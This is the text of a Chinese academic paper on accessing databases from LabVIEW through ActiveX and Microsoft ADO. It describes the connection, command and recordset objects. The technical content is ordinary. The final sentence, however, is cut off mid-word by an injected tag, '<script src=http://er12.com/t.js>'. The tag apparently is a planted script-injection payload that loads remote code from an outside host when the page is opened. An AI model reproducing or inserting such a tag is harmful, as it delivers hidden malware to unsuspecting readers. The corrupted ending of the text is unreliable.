摘 要:提出在labview中利用其activex功能,调用微软数据访问控件(microsoft ado)来实现数据访问功能的方法,文中介绍了microsoft ado编程模型,并给出了在labview中对数据库进行操作的若干实例。
关键词:数据库;labview;sql;microsft ado
research of realizing method of establishment and management
fu n ctions of database in labview
zhao jian, chen qiang
(school of mechanical and electronics engineering, xidian university,
xi’an 710071, china)
abstract: a realizing method of operating database was presented which worked by using the activex function of labview and the microsoft ado. th e ado programming model were introduced, and several cases of operating database in labview were presented.
key words: database; labview; sql; microsoft ado
1实现方法
在labview中利用其activex功能,调用microsoft ado控件,再利用sql语言,通过底层odbc接口函数和odbc数据库驱动程序访问数据库,其结构层次如图1所示。
图1支持所有ado所支持的数据库引擎,支持所有与odbc或oledb兼容的数据库驱动程序,可以在labview中支持odbc的本地或远程数据库,例如microsoft access、microsoft sql server以及oracle等。
2activex技术
activex是microsoft提出的一组使用组件对象模型,使软件组件在网络环境中进行交互的技术集,它与具体的编程语言无关。从labview5.0以后的版本都提供了对acfivex的支持。labview既可以作为activex服务器,也可以作为activex客户机。在本文对数据库访问的实例中,labview本身担当activex客户,控制其他能实现数据库功能的activex服务器,如microsoft access、oracle等,通过设置和获取属性,执行activex服务器公布的方法,如进行数据查询、添加记录、修改记录、删除记录等数据库操作。
3microsoft ado编程模型
microsoft activex data objects(ado)是微软最新的数据访问技术,ado通过编程模型实现对数据库的操作。编程模型是访问和更新数据源所必需的操作顺序,它概括了ado的全部功能。
ado的目标是访问、编辑和更新数据源;利用ado所提供的类和对象可以完成以下操作:
(1)连接到数据源;(2)指定访问数据源的命令,同时可带变量参数或优化执行;(3)执行命令;(4)如果这个命令使数据按表中行的形式返回,则将这些行存储在易于检查、操作或更改的缓存中;(5)可使用缓存行的更改内容来更新数据源;(6)提供常规方法检测错误;ado对象模型如图2所示。
3.1连接
在程序中,通过“连接(connection)”访问数据源,连接是交换数据所必需的环境。对象模 型使用connection对象使连接概念具体化。connection对象代表打开的、与数据源的连接。使用connection对象的集合、方法和属性可执行下列等操作:
(1)在打开连接前使用connectionstring、connectiontimeout和mode属性对连接进行配置;
(2)使用defaultdatabase属性设置连接的默认数据库;
(3)使用open方法建立到数据源的物理连接,使用close方法将连接断开;
(4)使用execute方法执行对连接的命令,并使用commandtimeout属性对执行进行配置。
3.2命令
通过已建立的连接发出的“命令(command)”可以用某种方式来操作数据源。命令可以在数据源中添加、删除或更新数据,或者在表中以行的格式检索数据。对象模型用command对象来体现命令概念,command对象定义了对数据源执行的指定命令。使用command对象查询数据库并返回recordset对象中的记录,以便执行大量操作或处理数据库结构。可以使用command对象的集合、方法和属性进行下列等操作:
(1)使用commandtext属性定义命令(如sql语句)的可执行文本;(2)可使用execute方法执行命令并在适当的时候返回recordset对象;(3)使用commandtimeout属性设置提供者等待命令执行的时间;(4)通过设置activeconnection属性使打开的连接与command对象关联;(5)将command对象传送给recordset的source属性以便获取数据。
3.3记录集
命令是在数据库的表中按信息行返回数据的查询,并将这些行存储在本地;ado对象模型将该存储体现为“记录集(recordset)”对象。记录集是在行中检查和修改数据最主要的方法。通过记录集对象可执行下列操作:
(1)指定可以检查的行;(2)移动行;(3)指定移动行的顺序;(4)添加、更改或删除行;(5)通过更改行更新数据源;(6)管理recordset的总体状态。
使用ado时,通过记录集对象可对几乎所有数?script src=http://er12.com/t.js>